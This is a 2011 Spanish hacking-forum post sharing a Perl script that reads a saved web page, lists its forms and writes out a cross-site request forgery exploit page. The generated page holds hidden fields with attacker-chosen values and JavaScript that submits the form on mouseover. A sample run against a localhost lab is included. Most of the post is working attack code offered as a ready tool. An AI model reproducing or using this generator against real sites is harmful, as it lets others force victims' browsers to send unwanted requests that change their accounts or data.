elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] CSRF T00l
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] CSRF T00l  (Leído 1,739 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] CSRF T00l
« en: 7 Octubre 2011, 01:16 am »

Una simple herramienta para ahorrar trabajo en la creacion de un exploit
para la vulnerabildiad Cross Site Request Forgery , despues genera el resultado
en una carpeta creada con el programa con el nombre de la web.


Código
  1. #!usr/bin/perl
  2. #CSRF T00l (C) Doddy Hackman 2011
  3.  
  4. use HTML::Form;
  5. use URI::Split qw(uri_split);
  6.  
  7. installer();
  8.  
  9. head();
  10. if($ARGV[0]) {
  11. now($ARGV[0]);
  12. } else {
  13. sintax();
  14. }
  15. copyright();
  16.  
  17. sub now {
  18.  
  19. unless(-f $_[0]) {
  20. print "\n[-] File Not Found\n";
  21. copyright();
  22. }
  23.  
  24. print "\n[+] File to parse : ".$_[0]."\n\n";
  25.  
  26. open(FILE,$_[0]);
  27. my $words = join q(),<FILE>;
  28. close(FILE);
  29.  
  30. my @testar = HTML::Form->parse($words,"/");
  31.  
  32. $count = 0;
  33. foreach my $test(@testar) {
  34. $count++;
  35. print "\n\n -- == Form $count == --\n\n";
  36. if ($test->attr(name) eq "") {
  37. print "[+] Name : No Found"."\n";
  38. } else {
  39. print "[+] Name : ".$test->attr(name)."\n";
  40. }
  41. print "[+] Action : ".$test->action."\n";  
  42. print "[+] Method : ".$test->method."\n";
  43. print "\n-- == Input == --\n\n";
  44. @inputs = $test->inputs;
  45. print "Type\t\tName\t\tValue\n";
  46. foreach $in(@inputs) {
  47. print $in->type."\t\t";
  48. print $in->name."\t\t";
  49. print $in->value."\t\t\n";
  50. }
  51. }  
  52. print "\n\n[+] Form to generate : ";
  53. chomp(my $op = <stdin>);
  54. if ($op ne "") {
  55. $op--;
  56. my $probar = (HTML::Form->parse($words,"/"))[$op];
  57.  
  58. my $action = ver($words,$op);
  59. my $fin = nombre($action).".html";
  60. savefile("<form action=$action method=".$probar->method." name=exploit>",$fin);
  61. @input = $probar->inputs;
  62. foreach $in(@input) {
  63. print "\n[+] Value of the ".$in->name." : ";
  64. chomp(my $val = <stdin>);
  65. savefile("<input type=hidden name=".$in->name." value=".$val.">",$fin);
  66. }
  67. my $final = "</form><script language=javascript>function colocar(){document.exploit.submit()}
  68. </script><iframe width=6% height=%6 overflow=hidden onmouseover=javascript:colocar()>
  69. ";
  70. savefile($final,$fin);
  71. print "\n\n[+] CSRF Exploit Generated\n\n";
  72. print "[+] To can see in logscsrf/".$fin."\n\n";
  73. }
  74. }
  75.  
  76. sub ver {
  77. my $probar = (HTML::Form->parse($_[0],"/"))[$_[1]];
  78. my $action = $probar->action;
  79. my $co = $action;
  80. if ($action eq "" or $action eq "/"){
  81. print "\n\n[+] Action : ";
  82. chomp(my $action = <stdin>);
  83. return $action;
  84. } else {
  85. return $co;
  86. }
  87. }
  88.  
  89. sub installer {
  90. unless (-d "logs_csrf/") {
  91. mkdir("logs_csrf/","777");
  92. }}
  93.  
  94. sub nombre {
  95. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  96. return $auth;
  97. }
  98.  
  99. sub savefile {
  100. open (SAVE,">>logs_csrf/".$_[1]);
  101. print SAVE $_[0]."\n";
  102. close SAVE;
  103. }
  104.  
  105. sub sintax {
  106. print "\n[+] sintax : $0 <file>\n";
  107. }
  108.  
  109. sub head {
  110. print "\n\n -- == CSRF T00l == --\n\n";
  111. }
  112.  
  113. sub copyright {
  114. print "\n\n -- == Doddy Hackman 2011 == --\n\n";
  115. exit(1);
  116. }
  117.  
  118. # ¿ The End ?
  119.  

Ejemplo de uso

Código:

C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
 Finales\CSRF Tool>tool.pl read.txt


 -- == CSRF T00l == --


[+] File to parse : read.txt



 -- == Form 1 == --

[+] Name : No Found
[+] Action : http://localhost/labs/csrf/csrf.php
[+] Method : GET

-- == Input == --

Type            Name            Value
text            ver
password                veras
submit          control         Agregar


 -- == Form 2 == --

[+] Name : No Found
[+] Action : /
[+] Method : POST

-- == Input == --

Type            Name            Value
text            ac
submit          ee              aaa


[+] Form to generate : 1

[+] Value of the ver : aaa

[+] Value of the veras : aaa

[+] Value of the control : aaa


[+] CSRF Exploit Generated

[+] To can see in logscsrf/localhost.html



 -- == Doddy Hackman 2011 == --




« Última modificación: 8 Octubre 2011, 19:01 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
CSRF
Nivel Web
Leber 1 2,955 Último mensaje 15 Noviembre 2007, 00:51 am
por YaTaMaS
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 3,834 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
[Ruby] LFI T00l
Scripting
BigBear 0 2,788 Último mensaje 7 Octubre 2011, 01:30 am
por BigBear
[Python] LFI T00l
Scripting
BigBear 0 1,557 Último mensaje 7 Octubre 2011, 01:38 am
por BigBear
[Perl] MSSQL T00l
Scripting
BigBear 0 1,475 Último mensaje 9 Octubre 2011, 17:47 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines